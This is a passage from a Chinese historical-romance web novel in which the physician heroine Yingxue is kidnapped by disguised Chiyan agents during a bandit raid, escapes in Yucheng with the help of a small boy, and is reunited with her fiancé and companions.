苏璟皓带着三个府邸的护卫前往营地附近的山头打猎去了。
映雪等人心中萌生出上山捡菇子的念头，却被豫亲王世子出言劝阻，他温声道：“刚下过雨，山中潮湿得很，极易打滑，你们还是留在这里等候吧，我派几个护卫上山去捡菇子。”
嘉柔听了，满心不乐意，撇嘴说道：“护卫们哪能分得清楚哪些菇子能吃，哪些菇子有剧毒呀。”
豫亲王微微挑眉，对着嘉柔笑道：“那你就分得清楚？”
嘉柔顿时被噎住，随即拽着映雪的胳膊，哼道：“哼，映雪姐姐肯定认识。”
豫亲王世子含笑朝映雪望去，那眼神似是在让映雪说服嘉柔。
映雪哑然，转头对着嘉柔道：“算了，我们还是留在营账吧。且不说山中确实湿滑危险，单说我们若去了，必然会把衣服弄脏。我们在野外本就不方便洗漱，到时候弄得一身脏污，那可就不好了。”
嘉柔闻言，仔细想想确实如此，只得打消了上山捡菇子的念头。
随即，豫亲王世子便吩咐了十几个侍卫上山去采菇子。
映雪觉得无趣，正想进账整理山长交待的功课。
忽然，远处传来阵阵沉闷马蹄声，由远及近，如闷雷滚滚。映雪心中疑惑，朝远处看去，一群人马现身。他们身着杂乱服饰，面容凶狠，骑着马朝营地奔来。
豫亲王世子面色阴沉道：“是山匪。”
随即吹响手中口哨，身边侍卫严阵以待。
89. 失踪
山匪们疾驰而来，扬起一片尘土。
豫亲王世子反应敏捷，即刻指挥侍卫们迅速摆好防御阵型，将映雪等人护在身后。
粗略一看，山匪数量约有两百来号人，倘若双方开战，必定是一场惨烈的恶战。映雪心中不禁满是疑惑，即便山匪们胆大包天，不惧生死，又怎敢公然与朝廷作对呢？他们这一行人，明眼人一看便知是朝廷之人。
山匪们显然也心存顾虑，在距离众人不远之处停下了脚步。
豫亲王世子面色冷峻，沉稳地走到队伍前方，厉声喝道：“放肆！尔等可知我们的身份？本世子给你们一次机会，速速自行退去，否则后果自负。”
为首的满脸络腮胡的大汉，目光如炬地扫视着众人，大声喊道：“我们并无恶意，只想借你们大夫一用。”
豫亲王世子微微眯起双眸，目光锐利地望向山匪们，沉声道：“你们怎知此处有大夫？从何处得知？若我们不从，你们又当如何？”
山匪首领冷哼一声，眼神中闪过一抹决绝，“我们自然有我们的办法得知。若你们不从，我们便视死一博。你们虽为朝廷之人，但真要拼起来，你们也讨不了好，难免有所损伤。”
豫亲王世子面色愈发冷峻，“你们当真以为本世子会惧了你们？就凭你们这些乌合之众，也敢威胁本世子？”
山匪首领挺起胸膛，毫不退缩，“我们也是被逼无奈，我们老大身中剧毒，若不得救治，唯有死路一条。今日，就算拼上性命，我们也要为老大求得一线生机。”
豫亲王世子脸色铁青，堂堂亲王世子，竟被山匪威胁，颜面何存？他随即从怀中掏出一枚小巧的信号弹，用力一拉。信号弹瞬间冲向天空，绽放出绚丽光芒。接着，豫亲王世子将映雪等人迅速赶到营账之中以保安全。
山匪们面面相觑，为首的络腮胡子大汉惊恐道：“不好，是救援信号。兄弟们，既然他们不答应，那我们便与他们拼了。”
随即，几道黑影如鬼魅般闪现，单膝跪地在豫亲王世子面前。
豫亲王世子眼神冰冷，沉声道：“速去召集护卫。”其中一道黑影瞬间消失在原地。
山匪们见此一幕，心中皆是一紧。踌躇着是否继续对抗，内心陷入挣扎。
就在山匪们与豫亲王世子僵持之际，远处突然传来一阵震耳欲聋的马蹄声。众人皆是一惊，纷纷转头望去。只见一群蒙面黑衣人马如旋风般席卷而来，他们个个面容冷峻，眼神中透露出凶狠与贪婪。这些黑衣人二话不说，直接挥刀向豫亲王世子砍去。
山匪们被这突如其来的变故惊呆了，随即大喜道：“冲进去，把大夫掳走。”
豫亲王世子与暗卫立刻与黑衣人交战在一起。
随后，苏璟皓带着护卫们赶到，三方人马顿时混战一团。
映雪几人留在营账，并不担心他们会敌不过那群山匪。毕竟三家的护卫再加上皇上派的使团，足足有二百来号人，个个都是精心挑选出来的好手，且还有暗卫。
这时，映雪忽然感觉到左胸口隐隐发烫，似乎有些不安。正想伸手去拉住身边的清竹，突然账中升起大量烟雾，她暗道不好，正想喊人，随即肩膀一痛，便晕了过去。
豫亲王世子得知对方的真正目的竟是映雪，心中悔恨交加，那怒火熊熊燃烧，恨不得立刻将跪在面前求饶的那群山匪大卸八块。
苏璟皓怒不可遏，直接一脚踹了过去，眼中冒着寒光，厉声喝道：“说，你们把我妹妹掳去哪了？”
络腮胡子大汉连连喊冤，声音颤抖道：“我们跟那群黑衣人真的不是一伙的啊，求贵人饶命啊。”
豫亲王世子强压下心头的怒火，冷静下来，沉声道：“你们从何得知，我们这行人中有大夫能救你们老大的命？”
络腮胡子大汉连忙解释道：“我们老大前段时日突然身中剧毒，把这附近的大夫都找了个遍，大夫们皆束手无策，本来我们都打算准备后事了。昨日，寨里突然射进来一支镖，镖上带着字条，说你们一行人中有能人可救我们老大，让我们奋力一博。”
接着，络腮胡子心虚道：“为了老大，我们也只能铤而走险了。”
豫亲王世子闻言，沉声道：“定是赤焰，故意设计我们，好趁火打劫。”
络腮胡子也瞬间明白过来，顿时怒道：“他奶奶的，我们老大中毒肯定也是他们害的。”豫亲王世子一记冷光扫过去，络腮胡子顿时噤声，不敢再乱言语。
苏璟皓怒不可遏，一拳狠狠砸向身边树干，巨大的力量使得树干剧烈震颤，树叶纷纷簌簌落下。他的拳头瞬间皮开肉绽，鲜血汩汩流出，染红了手背，可他却仿若未觉，满心自责道：“都怪我，当时要是派人护在那里，妹妹也不会出事。”随即，他转头朝豫亲王世子道：“我们赶紧分头行事，直接去榆城，让官府搜查。”豫亲王世子点头应允，随即低头朝跪在地上的山匪吩咐道：“我现在给你们将功赎罪的机会，让你们的人马挨家挨户地打探黑衣人下落，若是偷奸耍滑，骚扰百姓，我会即刻剿了你们山寨。”络腮胡子立马感恩戴德道：“小的们不敢，小的们愿为贵人效犬马之劳，这就去打探。”说罢，他不敢有丝毫怠慢，赶紧起身骑马撤退。
苏璟皓带着永安侯府的护卫先行一步前往榆城，而豫亲王世子等人还需要拔营整顿。
清平见苏璟皓手背上那触目惊心的血迹，眉头紧紧蹙起，连忙让丫鬟取来药膏和棉布。她对着苏璟皓柔声道：“你的手背还是包扎一下吧，若是映雪在，定要骂你糊涂，这般不爱惜自己的身体。”不等苏璟皓拒绝，清平不顾男女之防，毅然决然地直接伸手拉住了苏璟皓的袖子。紧接着，她又道：“竹清在第一时间就跟过去了，映雪又一向机灵聪慧，定会想到办法保护好自己的。”
苏璟皓想到竹清，以及映雪身边的另外两名暗卫，心中这才稍微安定下来。
苏璟皓乖乖地站在原地，任由清平为他上药包扎。清平的动作轻柔而细致，待包扎完毕，苏璟皓立即翻身上马，对着清平温声道：“我先行一步，你好好保重。”清平微微点头。
清平刚转身，胳膊就被嘉柔拉住。嘉柔满脸焦急，声音中带着一丝颤抖：“清平，你刚才不是哄骗苏世子的吧？映雪姐姐是真的不会有事对吧？”嘉柔
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虽单纯，但也清楚一名女子被人劫走会面临怎样的后果，心中忍不住担忧起来。
清平拍了拍嘉柔的手臂，轻声道：“她自然不会有事。”这句话，不知是在安慰嘉柔，还是在安慰自己。
映雪苏醒，发现自己在一个空置的地窖中。泥墙粗糙有土腥味，光线从头顶缝隙透入。她被绑在椅子上，绳索勒得生疼。
环顾四周，映雪正想找东西割开绳子，随即，头顶上传来匆匆脚步声。下个瞬间，头顶上的盖子被揭开，映雪赶紧把眼睛闭上。随后，从上面下来了两个人，在映雪的眼前晃动，映雪险些忍不住，随即从头顶传来一道阴测测的声音：“别装了，我知道你已经醒了。”
映雪缓缓睁开双眼，前面站着两位身材高大、面容冷峻的男子。他们身着黑色劲装，腰间佩着锋利的弯刀，浑身散发着冷酷而危险的气息，一看便符合赤焰人的特征。
映雪平静地问道：“你们是赤焰人吧？山匪头子身上的剧毒，以及凌羽皇室的诅咒，都是你们搞得鬼吧？目的就是为了掳我？”
对方沉默不语，并未回答映雪的问题。
其中一位男子嘴角微微上扬，露出一抹残忍的笑容：“若敢耍什么花样，定叫你生不如死。”
映雪冷笑道：“哼，你猜你们巫师为何认定我是那天命之人？”
那位男子正要上前掐住映雪的下巴，却被另一位男子阻止，道：“大乾人奸诈，她身份特殊，谁知道她有没有法子对付我们，我们还是不要节外生枝了，尽快赶回赤焰。”
随后，男子从包袱里拿出一套衣服，随手扔给映雪，语气生硬道：“把它换上。”映雪身上的绳子得以解开，她看着手中那套破旧的农妇装扮，心中明白此时绝不能与他们硬刚，于是乖乖地换上了衣服。与此同时，那两位男子也迅速换上了粗布衣裳，脸上摸了药物，变成另一个人，伪装成普通百姓的模样。
待换好装扮，男子动作娴熟地在映雪的脸上迅速抹上药膏。不一会儿，映雪的脸就完全变成了另一个人，模样普通，毫不起眼。男子瞧着十分满意，又从怀里掏出一颗药丸，递给映雪，道：“把它服下。”映雪放在鼻间轻轻嗅了一下，便知这是改变嗓音的药物。虽心中不愿，但她深知此时反抗无益，便一咬牙吞进了喉咙。
待三人都装扮完毕，映雪被两人粗鲁地拖着出了地窖。映雪心中咒骂着这两人的粗暴行径，同时在心底默默祈祷竹清他们能够尽快赶来。
从地窖出来是一家农户，住着一位看似老实忠厚的老人家，但其打量映雪的眼神表明他并非普通人，这里应是赤焰人的暗桩。
映雪不动声色地观察着周围的环境，他们应该还在城外。
映雪心中暗暗描绘着她之前在府里仔细研究过的舆图。她深知，不管是前往赤焰还是凌羽，榆城都是必经之路。而且，榆城还是她二师兄管辖的区域，原本她就计划着在榆城去拜见这位素未谋面的师兄。此时，她在心中快速盘算着，想来在榆城想办法逃脱，对于目前身处困境的她而言，无疑是最好的机会。
过了一会儿，一辆普通百姓家的马车缓缓驶来。
90. 榆城
车身上有陈旧刮痕和补丁，拉车的是毛色杂乱的驽马，驾车的是面容憨厚、穿着粗布衣衫的中年男子。马车在农户门前停下，男子轻咳示意。
随即，映雪便被身边两位男子拽上了马车。
竹清察觉到马车的压痕，一路追踪至农户处。开门的是一位普通老汉，竹清朝屋内扫视一圈，并未察觉到其他人的气息，随即皱眉问道：“你们这儿刚才是否有一辆马车经过？可知里面坐了哪些人？”
老汉对竹清心生警惕，疑惑道：“你为何问这个？你是什么人？”
竹清瞬间将剑柄抵在老汉脖子处，冷声道：“别废话，问你答便是。”
老汉哆哆嗦嗦地说：“女侠饶命啊！是老朽的大媳妇患了重病，我那儿子特地从城里花钱雇了辆马车，带我那儿媳妇去城里治病呢。”接着他又抱怨起来，“坐马车那都是有钱人的行径，咱们穷人哪有福消受啊。偏我那儿子不听，就怕他媳妇受累，作孽哟！有这银子，重新娶个媳妇便是了……”老汉絮絮叨叨一大堆，竹清听了脸直接黑了下来，转身翻身上马，朝着榆城方向疾驰而去。
途中，竹清碰见一辆破旧马车，前面坐着两人，一位四十来岁的赶车马夫，另一位是二十来岁的庄稼汉子，竹清猜测这便是老汉口中的儿子，便未多留意，径直向前奔去。跑了一段路后，她突然停下，不对，马车里有两道呼吸声。
竹清掉转马头追了上去，拦住马车去路，冷声道：“把帘子打开。”
那位年轻汉子怒喝道：“姑娘，你这是何意？”
竹清不为所动，直接拔出剑来。
马夫乐呵呵地打圆场道：“女侠，里面坐着一对小夫妻，正进城去看病的。”说罢，便将车帘揭开。
竹清朝马车里望去，女子二十来岁模样，面貌普通，皮肤黝黑，眼睛却明亮有神。一旁的男子正用一只手臂搀扶着她。
映雪心中激动万分，眼看竹清就在眼前，可她却无法求救，旁边男子正用匕首抵在她腰间，她不敢有丝毫举动。
竹清满心失望，正欲离去，可突然想到女子那明亮的眼神，随即朝女子问道：“你叫什么名字？”
映雪立刻感觉到腰间一痛，仿佛尖刀即将划开她的皮肤。映雪羞涩地对竹清一笑，柔声道：“民女叫翠花。”
竹清听声音不对，随即转身离去。
映雪望着竹清渐渐远去的背影，心中犹如在滴血。下一刻，她感觉到腰间的匕首松开，男子对她讥笑道：“算你识相。”映雪没有搭话，心里默默盘算着他们的计划。
待竹清入了城，心中顿觉蹊跷。那老汉声称儿子是带儿媳妇去城里治病，可她细细观察那女子，神情自若且气息平稳，全然不见病气。再者，若只是大儿媳去城里看病，又为何让两个儿子都一同前往？这显然不合常理。竹清这才惊觉自己上了当，心中涌起一股气恨之意。她连忙回头去追踪那马车踪迹，然而，那马车已然消失得无影无踪。
竹清取出暗号信物，向空中发出特定信号，不多时，另外两位暗卫迅速赶来。竹清面色冷峻，将事情经过简短叙述，随后三人立刻展开行动，再次追踪那辆马车的踪迹。
许牧舟等人一路纵马疾驰，终于在酉时抵达榆城。
只见城门处守卫森严，侍卫们正仔细核对来往之人的身份，许牧舟顿感不妙，急忙架着马迅速朝城门奔去，却被城门侍卫拦下。正要出示令牌，忽然听到前方传来一道呼喊声：“许兄！”许牧舟抬头望去，只见苏璟皓正朝自己迎了过来，他满脸愁容，哭丧着脸道：“映雪被人掳走了。”
语音刚落，许牧舟周身的气压瞬间冷了下来，他寒声问道：“怎么回事？”
苏璟皓随即将在营地被突袭的情况向许牧舟一一详细讲述。
许牧舟闻言，心中气恼不已，就差一天，他便能赶上了。
两人随后一同朝太守府走去。
榆城的太守唐大人正是映雪的二师兄，苏璟皓自映雪失踪后，第一时间便直奔榆城的太守府向唐大人求救。
唐大人得知映雪失踪，也立刻第一时间通知城门严加排查。不管是出于公还是私，唐大人都会极力配合。于公而言，映雪是出使凌羽的关键人物；于私而言，映雪还是他的小师妹。早前他就收到师父的来信，说小师妹会经过榆城，让他抽时间认识一下彼此。不曾想人还没见着，就在他管辖的范围内失踪了。
唐大人也气愤难平。
唐大人瞧见苏璟皓身边的许牧舟，得知其是景阳侯世子，同时也是小师妹映雪的未婚夫后，便没把他们当外人，直接说道：“我让远儿去找了林霸天打听消息，只要小师妹进了城，他那儿就能获知一些线索。”
许牧舟沉声道：“这人是何身份？”
唐大人也不隐瞒，直言不讳道：“他是榆城的地头蛇，三教九流的人都有自己的渠道。榆城只要有陌生的面容进来，就瞒不过他。他与远儿有些交情。”
许牧舟微微颔首，随即又道：“晚找到一刻，便多一分危险。我们分头行事，务必今晚就要找到人。”
唐大人点头，朝许牧舟道：“许世子一路风尘仆仆，先去洗漱，待用了膳我们再讨论如何执行，估计那会儿远儿也回来了。”
许牧舟站着没动。苏璟皓心里更是着急，但看到许牧舟一脸憔悴的模样，便也知道他这些天一直在赶路，心中也有些感动，便也劝道：“妹夫，先去洗漱吧，等一会儿用膳我们边吃边商量，我正好也饿了。”
许牧舟微微点头，便随着太守府的下人去了客房。
许牧舟坐在浴盆里，一想到映雪被掳，心中便无法平静。他快速洗漱完毕，换了套衣裳，随即掏出一个信号弹，向空中一抛。片刻后，竹清的身影便落在许牧舟身前。
竹清立即跪下向许牧舟认错，道：“少主，属下失职，未能保护好映雪姑娘，请少主责罚。”
许牧舟沉声道：“待回了京城，自己回暗室领罚。”紧接着又道：“查到哪些消息？”
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竹清满心自责，随即将马车的异常之处及后续追踪情况一一告诉了许牧舟。
许牧舟越听脸越黑，怒斥道：“蠢货！赤焰人善易容之术，你学到狗肚子里面去了吗？”
竹清沉默不语，痛恨自己的粗心大意，仅凭面容和声音就生生错过了姑娘。许牧舟见竹清一脸懊悔模样，也知现在责怪于事无补，随即朝竹清摆了下手，让她退了下去。
豫亲王世子等人终于在关城门的前一刻进入榆城。待将使团的人都妥善安排好后，豫亲王世子正欲骑马去太守府找苏璟皓了解映雪的情况，却被嘉柔喊住。嘉柔道：“大哥，我们也要去。”
豫亲王世子回头，见是嘉柔和清平，便温声道：“你们就留在客栈，这两日受了惊吓，也没休息好，早点洗漱歇息。”
清平道：“我们留在这里也无法安心入睡，还不如去太守府等消息。”
嘉柔也附和着撒娇道：“而且大哥不在这里，我也害怕，大哥，你就带我们一起去吧？”
豫亲王世子闻言，理解嘉柔的担忧，便道：“行了，你们也一起去吧，但不许多带人，一人带一个随身伺候的丫头。”
嘉柔连忙点头答应。豫亲王世子骑马朝太守府奔去，身后跟着一辆马车。
嘉柔掀开车帘，向四周张望着，期望能发现映雪的踪影。突然，身后一阵马蹄声疾驰而来，在还算安静的街道上格外引人注目。嘉柔转头朝身后望去，马蹄从她身边经过，刚好溅起泥水洒在她脸上。嘉柔顿时气恼，朝马背上的主人大喊道：“喂！你骑马怎如此莽撞？这般粗鲁行事，有没有一点公德心？”
马背上的主人听见身后姑娘的叫骂声，随即勒住马，朝马车望去。嘉柔见马背上的主人转身，竟是一位十六七岁的少年，面容俊美。嘉柔顿时脸红，急忙把车帘放下，躲进了马车里。
少年朝豫亲王世子看去，朝他做了个拱手的手势，便掉转马头离去。
唐大人陪着许牧舟及苏璟皓用膳，正商议着找人之事，随即门帘晃动，一位俊朗的少年匆匆走了进来。看见桌上气质非凡的许牧舟，便问道：“苏兄，这位可是豫亲王世子？”还不待苏璟皓介绍，唐大人便打断道：“远儿，不得无礼，这位是景阳侯世子，你小师叔的未婚夫。”
唐靖远闻言，瞬间眼神一亮，激动道：“早就听闻景阳侯世子大名，今日得见，实乃荣幸之至。”
许牧舟浅笑点头。
唐靖远又继续想与许牧舟套近乎，却被父亲的清嗓子声音打断，问道：“林霸天那边有消息吗？”康靖远正想搭话，从门帘处走进了一下人，向唐大人禀告道：“老爷，豫亲王世子求见。”唐大人随即道：“快请。”说罢，几人也起身朝正厅走去。
没过一会儿，豫亲王世子郑少臣便带着嘉柔及清平走了进来。
嘉柔抬眼，见到许牧舟身边的少年，与那位少年异口同声道：“是你？”两人的声音在空中交汇，瞬间让厅内的气氛变得微妙起来。
91. 逃脱
待介绍了众人身份，嘉柔嘟囔道：“哼，看起来倒是人模狗样的。”
郑少臣颇感无奈，假装没听见。随即，他拍了拍许牧舟的肩膀，歉意道：“是我失职，没保护好她。”许牧舟面色凝重，微微摇了摇头道：“如今当务之急是尽快找到人，其他的过后再说。”
唐靖远便把从林霸天那儿得来的消息分享给大家，道：“据林霸天手下传来的消息，今日榆城的确进了不少陌生面孔，但符合女子身份的只有三人。”众人闻言，心中微松，若是只有三人，倒是比较容易寻找。
紧接着，又听唐靖远道：“其中一位是一对年轻夫妻，进城治病。一位是被拐子骗来要卖去花楼的可怜女子，还有一位是孤身一人，进城后便失去了踪迹。”
许牧舟见过暗一，得知映雪正是被一位年轻男子擒住，且是以治病为由进城，猜测那一对年轻夫妻中的妻子极有可能是映雪，心里极其愤怒。想到在磐安城那群军官所为，心中戾气顿生。
唐靖远口中那孤身一人，可能是暗一。
许牧舟便沉声问道：“可知她们现下在何处？”唐靖远摇头，沮丧道：“只知那位年轻夫妻去过城里的仁安堂，其余不知。”
许牧舟便朝郑少臣及苏璟皓吩咐道：“你们分别带人把榆城的花楼都细查一遍，看有没今日被卖进来的姑娘，必须要见到人。”随即又提醒道：“赤焰擅长易容，映雪当下的容貌一定不是你们认识的，所以你们一定要留意对方的神态举止及身边人的异样。”
郑少臣和苏璟皓相视一眼，便点头赞同。
然后又听到许牧舟的声音道：“我带人去寻那对夫妻的踪迹。”说罢，就准备起身安排。
唐靖远急道：“不是还有一位孤身女子，不找她了？”
许牧舟看了一眼唐靖远，沉声道：“她和我们目的一样。”唐靖远这才明白，“哦”了一声。
嘉柔也听出许牧舟口中的人，指的是竹清。随即鄙夷唐靖远道：“映雪姐姐都被人劫持住了，肯定不会是孤身一人，你也不用脑子想想。”话音刚落，就被郑少臣斥喝住：“嘉柔，不得无礼。”
嘉柔撇嘴道：“谁叫他骑马，把脏水都溅到我的脸上，都不给我道歉。”
唐靖远这才反应过来，难怪这姑娘一直针对他，还朝他翻白眼。立即对嘉柔拱手一礼，诚恳道：“郡主莫怪，方才是在下鲁莽，未曾留意到姑娘，不慎溅了姑娘一身泥水，实在抱歉。在此向姑娘赔个不是，还望郡主大人大量，莫要再与在下计较。”
嘉柔扬起下巴，轻哼一声道：“哼，看在你还算有诚意的份上，本姑娘就不与你计较了。”说完，又微微侧头，露出一抹善良的笑容，“希望你能多帮忙找到映雪姐姐。”
唐靖远见嘉柔可爱又善良，随即有些脸红，挠挠头，道：“她可是我的小师叔，这是我应该做的。”
说罢，头挨了父亲一巴掌，唐大人道：“叫你做事鲁莽，溅了脏水到郡主脸上都不知道。”
然后转头朝嘉柔及清平道：“郡主和县主就在府里歇息吧，府里已经准备好了。”
清平与嘉柔对视一眼，微微欠身，道：“那就叨唠唐大人了，我们留在府里等消息，您且去忙吧。”
郑少臣与苏璟皓一道，许牧舟与唐靖远一道，几人分头行事，唐大人便留在府里统筹消息。
映雪一行人在即将入城前，便分为了三拨人悄然进城。只因之前竹清的折返之举，让赤焰人心中忧虑，他们担心一旦竹清再次反应过来，他们的行迹便会暴露无遗。于是，映雪与马车中劫持她的那人作为一拨，另外两人则分别分批进入了城中。
男子带着映雪直奔仁安堂。仁安堂内，坐诊大夫正专注地为病人诊断病情，抓药的小伙计忙碌地穿梭其间，还有几名前来看诊的病人或坐或立，神色各异。映雪满心诧异，不明白对方为何真带她来医馆，心中却也迅速盘算着逃跑的策略。然而，还未等她有所行动，便被身边男子带出了医馆。此时，映雪已然猜到，对方带她来医馆不过是个幌子罢了。
映雪不动声色地向四周打量，果然发现另外两人也紧紧跟在她身后。
男子带着她在狭窄的巷子里快速穿梭，不多时便进了一座一进的宅子。宅子里住着一对中年夫妇，妇人看上去慈眉善目，可那位男人的目光却不怀好意，肆无忌惮地在映雪身上来回打量。
随后，便听到身边男子冷声道：“官府已经在找人了，戒备森严，这里也不安全。你们有没有更好的藏身之地，先把人藏过去，等过了风头我们再想办法把人送出去。”那位中年男子咯咯一笑，道：“要说藏身之地，哪还有比花楼更好的呢？”毕竟他们刚刚才做完一桩买卖，在这方面可谓轻车熟路。
年轻男子闻言，略一思索，也觉得此计可行，便用眼神示意妇人带映雪下去装扮。
那位妇人拽着映雪就往屋子里走去，映雪看似顺从地跟着，实则不动声色地观察着四周的地形。她心里暗暗思忖，若真流落到花楼，估计更加危险了。现在身边只有一个妇人，这无疑是她逃跑的最好时机。
走进屋子后，妇人松开了映雪的手，转身去拿一些衣物准备给映雪装扮。映雪发现屋内的窗户正好对着巷子，心中一喜，悄悄地从衣服内袋中取出一根银针。
妇人拿好衣物，转身朝她走了过来，随即就伸手去扯映雪身上的外衣。映雪趁其不备，抬手就朝妇人的后颈处扎去，银针准确地刺入了妇人的昏睡穴。妇人身体一软，便倒了下去，倒地的声音有些巨大，映雪的心瞬间提到了嗓子眼，紧张不已，生怕外面的两人听到动静追上来。
她急忙搬来凳子，踮起脚尖朝窗户钻去。可就在这时，凳子不堪重负，轰然倒塌，巨大的声响在寂静的屋内格外刺耳。外面的两人显然听到了动静，映雪能感觉到他们正快速朝这边赶来。
映雪顾不上窗户的高度，一咬牙，闭着眼睛纵身跳了下去。落地的瞬间，脚踝处传来一阵剧痛，但她强忍着疼痛，不敢停
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留，一瘸一拐地朝着巷子深处拼命跑去。
巷子里道路错综复杂，映雪眼看就要被人追上，余光瞥见旁边宅子的后门微微开着且没锁，她毫不犹豫地侧身闪进那扇门。
一转头，便瞧见一个小男孩正好奇地盯着她，问道：“你是坏人吗？我阿娘说，随便进人屋子的都是坏人。”
此时，外面的脚步声越来越近，映雪心中一紧，忙对小男孩“嘘”了一声，说道：“姐姐不是坏人，外面有坏人在追我。你要是帮姐姐，姐姐就教你变魔术。”说罢，还当场给小男孩表演了个魔术。
小男孩兴奋不已，拉着映雪的手小声道：“姐姐，我知道一个好地方，他们肯定找不到你。”
接着，小男孩便拉着映雪穿过院子，来到一间堆放杂物的屋子。屋里弥漫着陈旧的气息，四处摆放着破旧的箱子和工具。小男孩指着一个大箱子说：“姐姐，你躲在这里面，他们肯定发现不了。”映雪看着箱子，虽有些犹豫，但听着渐近的脚步声，也顾不上许多，急忙钻进箱子里。小男孩又找来一些旧布盖在箱子上，然后轻手轻脚地离开屋子，装作若无其事地在院子里玩耍。
不多时，外面传来敲门声，小男孩隔着门板喊道：“是谁呀？”外面两人面面相觑，显然很意外屋里是个孩子。他们呼了口气，轻声问道：“小朋友，你刚才有没有见到一位年轻姑娘经过？”
小男孩不高兴地说：“没有，阿娘不准我出院子玩。”
两人压根没想过小孩子会骗人，于是信了小男孩的话，随后便朝着不同方向追人去了。
许牧舟找到仁安堂，从医馆之人处得知映雪两人仅仅在医馆停留了一小会儿，根本未曾寻医问药。这一情况让他心中更加笃定那女子就是映雪。他连忙向四周之人打探消息，然而人海茫茫，此时又是天黑之际，街上的行人并不多，一番寻找无果后，许牧舟随即回到太守府，准备让太守发令，挨家挨户地进行寻找，至少已经能确认映雪已经在城内。
郑少臣及苏璟皓两人也马不停蹄地把榆城的花楼寻了个遍，却也一无所获。
几人在太守府汇合，将相互打探出的消息逐一进行探讨。许牧舟听到苏璟皓说到那拐子之事时，眼皮微微跳了几下，立即问道：“那拐子身份知道吗？或许他与掳走映雪的正是同一伙人。”几人闻言，纷纷侧目，虽心中觉得不太可能，但万一真是如此呢？现下他们最不缺的就是人力了。
随即，唐大人立刻派人去查出拐子的身份和住处。许牧舟立即起身，准备前去寻人，苏璟皓几人也毫不犹豫地只身跟上。
正在追着映雪的那两人，在四周都没找到映雪的踪迹后，渐渐发现了不对劲。正要折回那小男孩的宅子时，忽然听见隔壁巷子里有打斗声传来，定睛一看，正是路上遇到的那位女子。年轻男子当机立断，朝中年男子吩咐道：“我去助他们，你去那宅院找人。”
竹清转头瞧见马车中的男子，顿时寒气四溢，挥刀直上，顺手抛个烟雾弹。
92. 皇城
暗卫匆匆赶到，几人瞬间厮杀在一起。
映雪全然不知竹清正在附近，此刻，她正在为小男孩的阿娘看诊。
小男孩独自在院子里，只因他阿娘生病，父亲外出寻大夫，他无聊至极便想偷偷溜出去玩，恰好碰上映雪。
小男孩的阿娘起初并不相信映雪是大夫，毕竟映雪年轻且又是女子。然而，因她患的是小产后未修养好所致的女人病，病痛难耐之下，她决定姑且一试。映雪仔细诊脉并询问病情后，轻声安慰道：“大姐莫要忧心，你的病虽有些严重，但并非不可医治。”接着，映雪写下一张药方，详细嘱咐了用药方法和注意事项。
就在这时，门外骤然传来一阵剧烈的敲门声，映雪心中猛地一紧，猜测是那两人追了过来。正在犹豫之际，想到赤焰人的凶残，她更怕连累无辜百姓。
当她走到院子里时，外面又传来打斗声，映雪打算暂且继续观望。片刻后，打斗声戛然而止。
门外似乎传来众多脚步声，映雪满心疑惑，不明所以。紧接着，又响起几道缓和的敲门声，随后一道女声传来，“请问，有人在家吗？”正是竹清的声音。映雪激动得难以自已，急忙跑去把门打开，一眼便看到竹清正站在门外。映雪欣喜若狂，激动地上前紧紧抱住竹清。待她抬起头来，这才发现周围还有不少人，许牧舟、苏璟皓、豫亲王世子皆在，还有一个眼生的少年，以及一些侍卫。
映雪瞧见许牧舟，心中瞬间涌起无尽委屈，眼眶通红，哽咽道：“你怎么才来？”
许牧舟沉默不语，伸手将映雪从竹清怀中拉出，紧紧拥入怀中。映雪尴尬至极，奋力挣扎着要从许牧舟怀里出来，却丝毫无法挣脱，只觉得自己简直无地自容。
一旁的苏璟皓见状，打趣道：“妹妹，你如今这副模样，我都不敢靠近你了。”此言一出，凝重的气氛瞬间消散，映雪噗嗤一声笑了出来。
随即，苏璟皓向她介绍了那位眼生的少年，原来是她二师兄的儿子。
映雪自觉在晚辈面前丢了脸，狠狠地瞪了一眼许牧舟。接着，她顺便了解了一下刚才发生的事情。
就在前面那人追上来之际，竹清及时赶到，打斗之声引来了正在附近找人的许牧舟等人。许牧舟一个暗器飞出，直接插入那人的脖子，于是打斗声戛然而止。
映雪带着竹清走进院子，向小男孩道别，并叮嘱道：“以后不准一个人偷偷溜出去玩，知道了吗？外面有很多拐子，专门骗你这么大的小孩。”
小男孩噘着嘴道：“知道啦，阿娘已经说过我了。”接着又问道：“姐姐，我阿娘的病是不是真的能治好？”
映雪轻轻拍着小男孩的头顶，坚定道：“那是当然，所以你以后的任务就是乖乖地监督你阿娘吃药，你能做到吗？”
小男孩郑重地点了点头。
一行人来到太守府，竹清和嘉柔早已提前得知消息，在厅里等候着。待映雪踏入屋子，嘉柔睁大眼睛，惊讶道：“你真的是映雪姐姐？”映雪调皮地笑道：“你猜？”声音也与以往不同，嘉柔满脸怀疑地看向许牧舟等人，质疑道：“你们没搞错吧？”
竹清笑着说道：“既然是易容术，自然从面貌上难以区分。”随即上前紧紧拥住映雪，如释重负般道：“欢迎回来！”
映雪微笑着说：“让你们担忧了。”嘉柔也激动万分，正欲询问映雪这一路发生的事情，却被清平打断，说道：“好了，让映雪先去洗漱吧，一会儿有的是时间讨论。”
苏璟皓在映雪回到太守府之际，就派人去客栈把宋嬷嬷和绿绮接了过来。绿绮见到映雪，顿时泪如雨下，又是一顿痛哭，映雪赶忙又是一阵温柔安慰。
等映雪梳洗后，恢复了以往容貌，嘉柔瞪大双眼，连连称奇。
唐大人命厨房置办了席面，且不分男女，众人皆围坐一桌。唐大人率先举起酒杯，满含歉意地对映雪说道：“小师妹，此次让你在师兄这地盘上受苦了，实在是师兄之过。若老师知晓此事，师兄我定然免不了挨罚。这杯酒，就当是师兄向你赔罪。”
映雪闻言，连忙起身，眼中尽是推辞之意，赶忙说道：“唐师兄严重了，此事乃是赤焰人早有预谋，怎能怪师兄呢？若不是师兄及时通知城卫，使得盘查森严，映雪此时恐怕还在歹人手上呢。这杯酒当是我感谢师兄才是，师兄莫要拒绝。”
唐大人见映雪言辞恳切，便也不再坚持，爽朗一笑道：“好，那便依师妹所言，这杯酒我们共饮，为师妹平安归来庆贺。”说罢，众人纷纷举杯，一饮而尽。
酒过三巡，气氛愈发融洽。众人你一言我一语地谈论着此次出行路上的种种经历，时而欢笑，时而感慨。
这时，唐靖远兴致勃勃地向父亲唐大人提议道：“爹，我也要与苏兄他们一道去凌羽。我身上好歹也有些功夫，万一路上再遇到歹人，还能保护好小师叔呢！”苏璟皓等人也跟着起哄，脸上满是期待与兴奋。
